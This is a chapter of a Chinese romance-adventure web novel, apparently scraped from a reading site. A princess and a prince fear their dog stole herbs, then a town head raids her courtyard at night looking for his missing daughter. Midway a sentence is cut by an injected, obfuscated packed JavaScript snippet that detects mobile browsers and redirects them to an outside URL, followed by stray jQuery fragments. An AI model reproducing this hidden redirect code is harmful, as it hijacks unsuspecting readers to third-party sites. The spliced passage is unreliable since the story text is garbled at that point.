风舒阳一脸不信的问:“怎么可能和咱们有关系?”
“你忘了,小白那天莫名奇妙的消失了。”凤汐花对他眨眨眼。
“你是说....”风舒阳一脸错愕,拔高了声调,“你是说小白偷得?!”
她紧忙拉他,让他小声一点,“嘘!你想让别人听见么,喊那么大声。”
“小白它不过是条狗,狗又不吃草,它偷草药.....”风舒阳想起看到小白睁开眼睛时,那一黑一白的瞳孔,瞬间闭了嘴。
还真有可能...
毕竟是神狗嘛...
凤汐花瞧他的样子也知道他信了,也不再继续往下说,留点时间给他消化。
风舒阳眼珠转动看向风既白,似是向他确认。
风既白点头,“嗯,是小白。”
听完后,他绝望地闭上眼。
他堂堂正正的风龙国六殿下,居然因为一条狗,背上了偷儿贼的骂名,他去找谁说理去。
凤汐花斜眼瞧他的样子,就知道他在想什么,于是说道:“闭什么眼,还没人发现是小白偷的呢。”
风舒阳的眼睛立即‘唰’的一下睁开,“也就是说还有挽回的余地,那我们快去找小白,把它偷得草药悄悄地还回去!”
“呃...还,是还不回去了。”
“?为什么?”
“小白估计吃了。”
风舒阳倒吸了一口凉气,双眼直往上翻,他十分不解,更加绝望道:“它一条狗,它不吃肉,它吃什么草啊!!”
他心中忍不住的悲鸣,他的一世英名,马上就要毁于一旦,之前在风龙,大街小巷流传的是一世风流舒阳君,等这次结束,这件事情传回王城,什么风流啊潇洒啊都没有了,只剩下流了,还是下流的偷儿贼!!
“呃,这个说来话长,哎呀,总而言之,草药是小白偷得,而且已经没了,现在目前没人发现,明日我们跟着王州牧去草场正好可以看看他们查案的进展如何,再想办法应对。”她用手肘捅了捅风舒阳,“诶,明天你可别掉链子,我们可是为了圣泉的消息,拿到线索立刻启程,只要不让他们发现是小白偷得,你也就不会背负偷窃的骂名了。”
风舒阳眼神坚定且肯定,十分无私的说道:“骂名又如何,这都是为了你们,放心吧,为了朋友我是可以两肋插刀的!”他心中默默流泪,绝对不能被发现!我的小娘子,我的一世英名我一定维护住!
凤汐花看到他如此大公无私的表情,心中诧异,他性子什么时候转了?小时候犯事了都是推别人出来顶包,没想到一别经年,当刮目相看,居然在这种关乎于他名誉的事情上,如此有担当。
........
月亮悬置于夜空,以往的草药镇夜色是最美,星河满天,月光铺洒于水面,星光倒影在水中,清风送来,水面无声地缓缓起伏,船夫乘船划过,一盏船头的灯笼,驱散了附近的黑暗,船身朝着远处的大山飘去,仿佛一轴画卷。
可今夜的草药镇,乌云密布,遮住了星空,遮住了月亮,只留那半空中月亮的一角,忽的狂风大作,立在树上睡着的小鸟,脚下的枝丫发出‘咔嚓’声,断裂,小鸟随即下坠惊醒,它十分艰难的展翅,努力向上飞着,可身上的羽毛被吹得乱飞,它努力保持着平衡,无奈风实在太大,它在半空中被吹得东倒西歪,最终像一片落叶一样在空中打着转。
‘嘭!’
凤汐花瞬间睁眼,从睡梦中惊醒,她抬起身子看向窗子,只听见外面狂风呼啸,门窗震动。
“宝环。”她忙唤还在外间睡得香甜的宝环,可宝环睡得实在太沉,她只能加大音量。
“宝环!”
“嗯?公主?”宝环揉了揉眼睛,下床点了灯,拿着烛台走到内间,她明显还没有睡醒,打着哈欠,声音有着刚起床的嘶哑,“怎么了,公主?”
“我刚才听见了有什么响动,今夜怕是要下雨,现在外面正刮风呢,你去看看窗子是不是没有关紧。”凤汐花探头看向窗户,她今夜睡得并不安稳,不知是不是因为最近发生的事情太多,她从入睡后就连续不断的做着噩梦,有关于刘月茂的,有关于风既白的....
一阵冷风从木窗的缝隙中窜进屋内,走到窗子附近的宝环打了个哆嗦,困意瞬间退散,她将烛台搁置于床前的桌子上,探着身子将窗子打开。
“啊!!!”
凤汐花被吓了一跳,紧忙从被窝中爬出下了床,“怎么了?”她伸手将宝环半圈着在怀中,感受着怀中躯体不断地颤抖,她顺着宝环伸出的手指看去。
只见一只麻雀,脑袋被撞破,死在了窗台上,身下聚集了一摊血。
她舒了口气,原来只是一直死麻雀。
宝环哆哆嗦嗦的说:“这大半夜的窗前有这死物,也太吓人了吧!”
她转身拿了一支挑窗幔的杆子,将那只死透了的麻雀挑到了窗外的地上,“估计是风太大,天又太黑,这麻雀晚上看不清,不小心撞到木窗上,磕破了脑袋,流血太多死掉了,别怕啊,没事的,明日让冯管家处理一下。”
她将杆子收回准备放到桌子上,结果宝环一把抢过,将那杆子扔出了窗外,“别要了公主,太不吉利了,上面还沾着血,回头我们赔给冯管家便是。”
凤汐花无奈的笑笑,刚准备回话,窗外的天空突然火光漫天,她皱眉,怎么回事,就听见一堆人的脚步声朝她们的院子走来。
她和宝环驻足与窗前,两扇窗被风吹得‘哐哐’撞着墙面,外面的树都被吹得沙沙直响,压低了枝丫。
火光由远及近,从回廊外先是冒出一个两个,随即越来越多,照的院内越来越亮。
站在窗前的凤汐花这才看出,原来是身穿布衣的举着火把从外走来,她定睛一看,领头的居然是刘勾。
这么晚了,他来做什么?
瞧着他的面色,十分不佳,领着一群人气势凶凶的闯进来....难不成他们发现了是小白偷的草药,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15202220|162043||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
所以今晚上门来捉拿?
凤汐花屏息,稳住心神,冲着刘勾质问道:“这么晚了,刘镇长如此大的镇长来到我们院子里,所为何事?”
刘勾的脸,一半被火光照亮一半沉溺在黑暗中,火光照亮的半张脸万分阴沉,眼神中透漏着杀意,嘴角绷的笔直,他沉声怒喝,“你把月茂藏哪里了!?”
她被问的愣住。
不是为了草药之事?
“刘月茂送回刘宅了啊。”凤汐花转头看向一旁的宝环,宝环亦是眼中满是疑惑,面对她眼神的询问,点了点头。
“你放屁!我问了宅中的人,你身边那个小丫头前脚刚走,月茂后脚就跟了出去,快点把月茂交出了,不然哪怕你是风龙国六王子的人,我也绝不放过。”
凤汐花拧眉,刘月茂自己跑出来了?可她没有来她这里啊。
凤汐花沉稳的解释道:“刘镇长,你也说了,我的丫鬟将刘小姐送回了宅中,之后刘小姐的去向我们也并不知晓啊。”
“你们是送回了不假,可月茂离开也是真,月茂最近一段时间经常找你,她彻夜未归,肯定是为了你,她不在你这里,她还能去哪!?”随着他高呵的声音,屋外的风刮的越剧烈,刮着他们的衣摆呼呼直响,火把上的火苗被吹得快斜到了一边,甚至有的感觉都要被吹灭。
“刘镇长,你这话有失偏颇吧,我既然已经将刘小姐安全送回刘宅,那接下来刘小姐应当由你们刘宅看管,你们宅内下人看管不利,让她跑了出来,你为何不惩治你家奴仆,反倒是拉扯这么大的阵仗,找我要人?”凤汐花也冷下脸来,看着刘勾说道。
听完她说的话,刘勾身旁的随从们都有些犹豫,面面相觑,似是有些认同她说的话,也怕刘勾找他们的麻烦。
刘勾眼一瞪,怒气冲冠,“要不是你,月茂这么听话懂事的孩子会大晚上的不归家么!?你不要在这里诡辩,快把月茂交出来!!”
凤汐花被气笑了,“你闺女私自出家未归,你找不到你闺女,反倒找我问罪,这镇子还有天理存在么?”
刘勾目光狠厉,“我就这么一个孩子,她要是有个三长两短,我绝不会放过你。”然后他手一抬,大声喊道:“破门,给我搜!!”
宝环立刻挡在凤汐花的身前,将她护在身后,怒斥,“你们要干什么!一群男人大半夜私闯女子住宅,你们还有王法么!!”
刘勾冷笑了一声,“王法?在这里我就是王法!”他扭头看向站在原地没有动的奴仆,怒声高喊:“还不快搜!!!”
奴仆们原本有些犹豫,但见主子发话,没办法只能硬着头皮上前。
宝环紧忙跑到房门前用身子挡着,“我们可是六殿下的人,你无凭无据的上门,还带人夜闯,我们一定会让六殿下告诉你们王州牧,并且向圣上告你一桩的!”
刘勾听后不为所动,嗤笑了一声,“告状?你们也得有机会去告状!”
凤汐花立刻冷声到,“你什么意思!”